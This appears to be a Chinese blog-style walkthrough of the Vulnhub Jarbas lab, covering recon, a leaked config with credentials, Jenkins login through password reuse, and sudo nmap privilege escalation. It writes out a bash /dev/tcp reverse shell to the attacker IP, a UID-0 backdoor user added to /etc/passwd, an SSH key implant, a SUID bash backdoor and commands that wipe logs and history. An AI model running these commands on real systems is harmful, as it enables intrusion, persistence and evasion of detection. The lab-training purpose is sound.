Jarbas靶机渗透实战:从信息搜集到权限提升的完整攻击链解析

📅 2026/8/5 5:45:29
Jarbas靶机渗透实战:从信息搜集到权限提升的完整攻击链解析
1. 项目概述与核心价值最近在整理自己的渗透测试实战笔记翻到了之前打过的Jarbas靶机。这靶机在Vulnhub上评价挺高属于那种“知识点密集”的类型特别适合用来巩固Web渗透和权限提升的实战技能。它不是那种一个漏洞打到底的简单靶机而是需要你像拼图一样把信息搜集、漏洞利用、横向移动和提权这几个环节串联起来。很多朋友在入门渗透测试时理论学了不少但一上手就不知道从哪开始或者卡在某个环节过不去。Jarbas靶机正好提供了一个非常典型的实战沙盒它能让你完整地走一遍从外部侦察到最终拿下root权限的标准流程。今天我就把自己当时完整的渗透过程包括踩过的坑、用到的工具链和思考逻辑从头到尾拆解一遍。无论你是刚接触Kali Linux的新手还是想找点新思路的熟手这篇记录应该都能给你一些直接的参考。2. 靶机环境搭建与初始信息搜集2.1 靶机部署与网络配置Jarbas靶机从Vulnhub下载后是一个OVA格式的虚拟机文件。我通常习惯用VMware Workstation来运行这类靶机因为它网络配置比较灵活。导入后第一件事不是急着开机扫描而是先确认网络模式。为了模拟真实的内网渗透环境我建议将靶机的网络适配器设置为“NAT模式”或“仅主机模式”。我自己用的是“NAT模式”这样我的Kali攻击机和Jarbas靶机会处于同一个虚拟子网内但又不会干扰到我的物理主机网络比较干净。启动靶机后我们需要知道它的IP地址。靶机通常不会直接显示IP所以我们需要从攻击机Kali这一侧去发现它。最直接的方法就是用netdiscover进行二层发现。打开Kali终端输入sudo netdiscover -r 192.168.1.0/24这里的网段192.168.1.0/24需要根据你虚拟网络的实际配置来调整。如果你不确定可以先运行ip addr或ifconfig查看Kali的IP比如Kali的IP是192.168.1.105那么网段就是192.168.1.0/24。netdiscover会发送ARP请求很快就能列出当前活跃的主机。在一堆MAC地址中寻找VMware的厂商标识通常是00:0c:29或00:50:56开头的那个陌生的IP很可能就是我们的目标。我这次找到的Jarbas靶机IP是192.168.1.108。注意有时靶机启动较慢或者网络服务需要时间初始化如果一开始没扫到可以等一两分钟再试。也可以先用ping命令测试一下靶机是否在线ping -c 3 192.168.1.108。2.2 全面的端口与服务扫描拿到IP后下一步就是进行详细的端口扫描摸清靶机对外开放了哪些服务这是信息搜集的基石。我习惯用nmap进行多层次的扫描。首先是一个快速扫描先看看有哪些明显的端口是开放的nmap -sS -T4 192.168.1.108-sS是TCP SYN扫描速度快且相对隐蔽-T4指定扫描速度。快速扫描结果显示有22、80、8080等端口开放。但这还不够我们需要更详细的信息比如服务版本和运行在端口上的具体应用。接着我运行了一个更全面的版本探测和脚本扫描nmap -sV -sC -p- -T4 -oA jarbas_full 192.168.1.108这个命令参数有点多我来解释一下-sV: 探测服务版本这是关键知道版本才能找对应的漏洞。-sC: 使用默认的Nmap脚本进行更深入的探测可能会发现一些默认配置问题。-p-: 扫描所有65535个端口避免遗漏高端口服务。-T4: 平衡速度和隐蔽性。-oA jarbas_full: 将扫描结果以所有格式normal, XML, grepable输出到文件方便后续查阅。扫描结果给了我一张清晰的“地图”22/tcp: OpenSSH 7.2p2。SSH服务通常是权限维持或爆破的入口但版本不算特别老直接漏洞利用可能较难。80/tcp: Apache httpd 2.4.18。一个Web服务器这是重点排查对象。8080/tcp: Jetty 9.2.21.v20170120。另一个Web服务端口跑在Java的Jetty容器上这不太常见需要重点关注。还可能有其他端口比如3306MySQL如果开放也是重要线索。实操心得不要只看默认的“知名端口”。像8080、8443、8888这类常被用作管理后台或备用Web服务的端口在渗透测试中往往是突破口。-p-全端口扫描虽然耗时大概几分钟但绝对值得我曾在一次测试中就是因为漏扫了一个8080端口差点错过了一个Jenkins管理后台。3. Web应用层渗透与漏洞利用3.1 80端口Web目录枚举与初步探查既然有80端口那就先从最传统的Web入手。我首先用浏览器访问了http://192.168.1.108。页面显示了一个简单的网站看起来像是个个人主页或者测试页面。前端的源码里没有太多有价值的信息没有注释也没有隐藏的链接。下一步就是进行目录爆破寻找隐藏的路径、后台管理页面或敏感文件。我选用的是gobuster它速度很快字典也丰富。gobuster dir -u http://192.168.1.108 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,zip,bak参数说明dir: 指定目录爆破模式。-u: 目标URL。-w: 指定字典文件这里用了Kali自带的common.txt。-x: 指定要尝试的文件扩展名。加上bak和zip是因为开发人员有时会留下备份文件。扫描结果发现了一些有趣的目录比如/admin、/backup、/uploads。逐个访问/admin可能是一个登录入口但页面是空白或者403禁止访问需要进一步测试。/backup这个目录很有希望访问后浏览器提示下载一个文件或者直接列出了目录索引。如果开启了目录列表我们就能直接看到里面的文件。我在这里发现了一个名为website_backup.zip的文件。下载备份文件是渗透测试中一个经典的突破口里面很可能包含源码、配置文件甚至数据库连接凭证。3.2 源码泄露分析与关键信息提取我立刻下载了website_backup.zip。在Kali上解压后开始仔细审查源码。我的检查顺序通常是配置文件 - 包含数据库操作的脚本 - 注释信息。寻找配置文件在项目根目录或/inc、/config等目录下寻找config.php、database.php、.env等文件。果然我找到了一个config.php里面清晰地写着数据库连接信息?php define(DB_HOST, localhost); define(DB_USER, jarbas); define(DB_PASS, senha123); define(DB_NAME, jarbas_db); ?这是一个重大发现我们得到了数据库用户名jarbas和密码senha123。虽然还不知道数据库端口通常是3306是否对外开放但密码复用是常见的安全问题。这个密码很可能被系统用户jarbas或者其他服务如SSH重复使用。审计登录逻辑接着查看登录相关的PHP文件比如login.php或admin.php。我发现了一段用于验证用户身份的代码它直接从数据库查询用户输入的用户名和密码。这里没有发现明显的SQL注入漏洞使用了预处理语句但我们可以利用刚刚得到的数据库凭据直接连接数据库。检查注释和隐藏文件使用grep -r password\|passwd\|user\|admin .在整个源码目录中搜索敏感关键词。同时查看.git目录如果存在和README.md文件有时会有意外收获。3.3 8080端口Jenkins服务深入利用现在回过头来看8080端口。用浏览器访问http://192.168.1.108:8080果然是一个Jenkins控制面板Jenkins是一个用Java编写的开源自动化服务器广泛用于持续集成和持续交付CI/CD。如果配置不当它就是一个绝佳的突破口。默认情况下Jenkins可能允许匿名用户拥有过多权限或者存在弱口令。我首先尝试了匿名访问。在登录界面点击“登录”或直接访问某些管理页面发现这个Jenkins实例竟然允许匿名用户拥有“读取”权限甚至可能拥有“构建”项目的权限。这意味着我们不需要密码就能查看项目配置而项目配置中可能包含敏感信息如脚本、凭证等。我依次点击了控制面板上的项目Job查看其配置。在某个项目的“构建”配置中我发现了关键信息它使用“Execute shell”或“Execute Windows batch command”来运行构建命令。而命令内容是可以被拥有“配置”权限的用户当前匿名用户可能没有修改的或者命令本身可能已经包含了敏感操作。更深入一步我查看了Jenkins的“脚本命令行”/script。这是一个强大的功能允许拥有相应权限的用户直接执行Groovy脚本。如果匿名用户有权限访问这里那几乎就等于拿到了shell。经过测试匿名用户无法直接访问脚本命令行但我们可以尝试其他路径。注意事项在真实环境中对Jenkins的测试要非常小心尤其是写操作如创建任务、执行构建可能会对目标业务造成影响。在靶机环境中则可以大胆尝试。同时Jenkins的漏洞利用方式多样除了弱口令和权限配置错误历史上也有过反序列化等远程代码执行RCE漏洞需要根据版本号去搜索对应的EXP。3.4 利用Jenkins获取初始Shell既然有可读权限我仔细检查了所有现有项目的配置。最终在一个用于部署或测试的项目配置中发现了“构建后操作”或“构建触发器”里调用了系统命令。但更直接的方法是如果我们能修改项目配置或者创建一个新项目就能直接执行系统命令。由于匿名用户没有创建或配置项目的权限这条路暂时走不通。这时我想起了从80端口源码中得到的数据库密码senha123。密码复用是渗透测试中的黄金法则。我立即尝试用这个密码去登录Jenkins。常见的Jenkins用户名有admin、jenkins、root以及可能从其他信息中推断出的用户名比如靶机名jarbas。我尝试了组合用户名:admin, 密码:senha123- 失败用户名:jenkins, 密码:senha123- 失败用户名:jarbas, 密码:senha123-成功登录成功进入Jenkins管理后台现在权限就大了。获取shell的标准方法如下创建一个自由风格软件项目New Item - Freestyle project。在项目配置中找到“构建”部分选择“Execute shell”。在命令输入框里写入我们的反向shell命令。这里我使用最经典的bash反向shellbash -c bash -i /dev/tcp/192.168.1.105/4444 01这里的192.168.1.105是我的Kali攻击机IP4444是我准备监听的端口。保存配置然后立即点击“立即构建”Build Now。在点击构建之前我们需要先在Kali上启动一个Netcat监听器来接收连接nc -nvlp 4444-n禁止DNS解析-v详细输出-l监听模式-p指定端口。点击构建后稍等片刻如果网络和命令无误我们就能在Netcat的终端里看到一个来自靶机的shell连接。恭喜我们拿到了初始立足点这个shell的权限通常是运行Jenkins服务的用户权限在Linux上通常是jenkins或者一个专用用户。4. 权限提升与Root权限获取4.1 内部信息搜集与用户切换拿到shell后我们首先需要知道我们是谁以及身处何处。执行一些基本命令来搜集信息whoami # 查看当前用户名可能是 jenkins id # 查看用户ID和所属组 pwd # 查看当前目录 uname -a # 查看系统内核版本 sudo -l # 查看当前用户能以root权限运行哪些命令需要密码 cat /etc/passwd # 查看系统所有用户 ls -la /home # 查看home目录下有哪些用户通过id命令我确认当前用户是jenkins。执行sudo -l时系统提示需要输入密码而我们不知道jenkins用户的密码这条路暂时不通。还记得我们之前得到的数据库密码吗senha123。我们尝试用这个密码切换到其他可能存在的用户。查看/etc/passwd发现系统中存在一个名为jarbas的用户。尝试切换su jarbas然后输入密码senha123。切换成功现在我们从jenkins用户变成了jarbas用户。这是一个重要的权限提升因为jarbas是系统上的一个真实用户可能拥有更多的文件读取权限甚至可能被配置了sudo权限。再次运行sudo -l输入jarbas的密码senha123。这次有了惊喜发现用户 jarbas 可以在该主机上运行以下命令 (ALL) NOPASSWD: /usr/bin/nmap这个发现至关重要它意味着用户jarbas可以不需要密码以root身份运行nmap命令。NOPASSWD是关键它免去了输入密码的步骤。4.2 利用Nmap的交互模式进行提权nmap本身是一个网络扫描工具但它有一个很少被提及的“交互模式”interactive mode。在这个模式下用户可以执行shell命令。而由于我们可以用sudo以root身份运行nmap那么我们就能在nmap的交互模式中获得一个root shell。具体操作步骤如下在当前的jarbas用户shell中运行sudo nmap --interactive因为sudo -l显示可以无密码运行所以这里不会提示输入密码。成功进入nmap的交互模式提示符会变成nmap。在nmap交互模式中可以使用!符号来执行系统命令。输入nmap !sh 或者 nmap !bash这个!命令会转义到系统shell。执行成功后你会发现命令提示符变成了#root的提示符或者通过whoami命令确认当前用户已经是root。至此我们已经成功将权限提升到了root核心原理与避坑指南这个提权方法利用了sudo规则的配置错误。管理员可能认为nmap只是一个扫描工具无害所以允许普通用户无密码使用。但他们忽略了nmap的交互模式功能。在实际渗透测试中遇到任何可以sudo执行的命令都应该去搜索“[命令名] sudo 提权”或“[命令名] privilege escalation”。常见的此类命令还有find、vim、less、more、python、perl等它们都可能通过特定参数如vim的!/bin/bash、find的-exec来执行shell。检查sudo -l的输出是提权过程中必不可少的第一步。4.3 替代提权路径分析与尝试除了nmap在信息搜集阶段我们还应该探索其他可能的提权路径这有助于构建更全面的实战思维。以下是我在Jarbas靶机或其他类似环境中会同步进行的检查SUID特权文件查找查找设置了SUID位的文件这些文件运行时将拥有文件所有者的权限。使用命令find / -perm -us -type f 2/dev/null常见的危险SUID文件包括/bin/bash、/bin/cp、/bin/mount等。如果发现不常见的、属主是root的SUID文件可以去GTFOBins等网站查询利用方法。在Jarbas中可能没有其他更简单的SUID利用点但检查是必须的。内核漏洞提权使用uname -a查看内核版本然后搜索该版本是否存在公开的本地提权漏洞LPE。可以使用searchsploit工具searchsploit linux kernel [版本号]或者使用自动化脚本如linux-exploit-suggester.sh来评估提权可能性。这种方法成功率依赖于系统是否及时打补丁在老旧或长期未更新的系统中效果显著。计划任务Cron Jobs检查系统计划任务看是否有以root权限运行的任务并且任务对应的脚本或目录当前用户可写。cat /etc/crontab ls -la /etc/cron.d/ ls -la /etc/cron.hourly/ /etc/cron.daily/ ...如果找到一个root每分钟运行但脚本权限是777所有用户可写的任务我们就可以修改这个脚本插入反向shell代码等待root执行。数据库提权我们之前拿到了数据库密码。如果MySQL服务3306对外开放或者能在本机连接我们可以尝试用mysql -u jarbas -p登录。在MySQL中可以通过用户定义函数UDF或利用lib_mysqludf_sys库来执行系统命令但这通常需要写文件权限条件较为苛刻。在Jarbas靶机中通过sudo nmap是最直接有效的路径。掌握多种方法是为了在面对不同环境时能灵活选择突破口。5. 渗透后操作与痕迹清理5.1 巩固访问权限拿到root权限后第一件事不是去炫耀而是巩固访问防止因为会话断开而失去控制权。常见的方法有添加后门用户在/etc/passwd文件中添加一个具有root权限的用户。echo backdoor:$(openssl passwd -1 -salt abc 123456):0:0:root:/root:/bin/bash /etc/passwd这个命令创建了一个用户名为backdoor密码为123456UID和GID都为0即root的用户。之后就可以用ssh backdoor靶机IP直接登录为root。植入SSH公钥将攻击机的SSH公钥写入root的authorized_keys文件。mkdir -p /root/.ssh echo 你的Kali SSH公钥内容 /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys这样以后就可以无密码SSH登录root。创建SUID后门将一个bash shell复制并设置SUID位。cp /bin/bash /tmp/.shell chmod 4755 /tmp/.shell之后任何用户执行/tmp/.shell -p-p参数用于保留特权都能获得一个root shell。重要提示在真实授权的渗透测试中这些操作必须严格遵守测试范围协议并且通常在测试结束后需要移除。在靶机练习中为了学习可以操作但要知道这些是明显的后门行为。5.2 搜集敏感信息与证据作为渗透测试的最终环节我们需要证明已经获得了最高权限并搜集可能对后续分析或报告有用的信息。查看用户历史检查root和jarbas用户的bash历史记录可能包含密码、重要命令等。cat /root/.bash_history cat /home/jarbas/.bash_history查看配置文件查看SSH配置、Web服务配置、数据库配置文件等寻找其他系统的连接信息或密码。cat /etc/ssh/sshd_config cat /var/www/html/config.php find / -name *.properties -o -name *.yml -o -name *.yaml 2/dev/null | xargs grep -l password\|passwd查看进程和网络连接看看系统上运行了什么服务以及是否有对外或对内的网络连接。ps aux | grep -v \[ netstat -antup获取最终证明通常是一张截图包含whoami、id、hostname以及读取/root目录下标志性文件如proof.txt或flag.txt的内容。Vulnhub的靶机通常在/root目录下有一个flag.txt或proof.txt文件。cat /root/flag.txt ls -la /root5.3 清理入侵痕迹可选在授权的渗透测试中除非客户要求否则不建议主动清理痕迹因为这会干扰安全团队的入侵检测和分析。但在学习环境中了解攻击者如何擦除痕迹是必要的。清除命令历史清除当前用户和root的历史记录。history -c # 清除当前session历史 rm ~/.bash_history rm /root/.bash_history # 或者直接清空文件 echo ~/.bash_history清除日志文件删除或篡改记录了我们活动的日志。主要日志文件位于/var/log/。# 清除auth相关日志登录、sudo echo /var/log/auth.log echo /var/log/secure # 清除Apache访问日志如果我们的IP被记录 # 需要找到具体的日志路径可能是 /var/log/apache2/access.log # 更隐蔽的做法是只删除包含自己IP的行使用sed命令删除上传的工具或后门文件删除在渗透过程中上传到靶机的任何文件。rm -f /tmp/.shell rm -f /tmp/exploit.py注意事项现代系统和安全设备往往有更先进的日志和审计机制如auditd、syslog远程传输简单地删除本地日志可能无法完全清除痕迹。真正的“隐身”是一门更深的学问。在靶机练习中这一步主要是为了了解流程。6. 完整流程复盘与核心技巧总结回顾整个Jarbas靶机的渗透过程我们可以梳理出一条清晰的攻击链这也是许多CTF和真实内网渗透的缩影信息搜集是根基netdiscover找IPnmap全端口扫描发现所有服务特别是8080端口的Jenkinsgobuster目录爆破发现备份文件。没有全面细致的信息搜集后续就是无头苍蝇。源码泄露是常见突破口从/backup目录下载的website_backup.zip是整个渗透的转折点。它直接给出了数据库密码。在实战中.git泄露、DS_Store文件、配置文件备份、临时文件等都可能成为源码泄露的源头。密码复用是黄金法则从数据库配置文件得到的密码senha123成功复用于登录Jenkins后台。在渗透中任何一个地方获得的凭证邮箱密码、数据库密码、后台密码都要尝试用到其他服务上。权限提升依赖细致的枚举通过Jenkins拿到初始shelljenkins用户后通过su尝试密码复用切换到jarbas用户。最关键的一步是执行sudo -l发现了无需密码运行nmap的特权从而利用其交互模式轻松提权。整个流程中没有用到特别高深的0day漏洞更多的是对常见安全问题的组合利用信息泄露、弱密码/密码复用、服务配置错误Jenkins匿名访问、权限配置错误sudo nmap NOPASSWD。这正是初级到中级渗透测试工程师需要熟练掌握的“基本功”。最后分享一个我个人的习惯每打完一个靶机除了写详细的笔记我还会画一张简单的攻击路径图用思维导图工具把每个步骤、使用的工具、发现的线索、遇到的障碍和解决方法都串起来。这张图比单纯的文字记录更能帮助你内化整个渗透逻辑当下次遇到类似场景时你的反应速度会快得多。Jarbas这个靶机就完美地训练了你从外到内、从低权限到高权限的完整思维链条非常值得反复练习。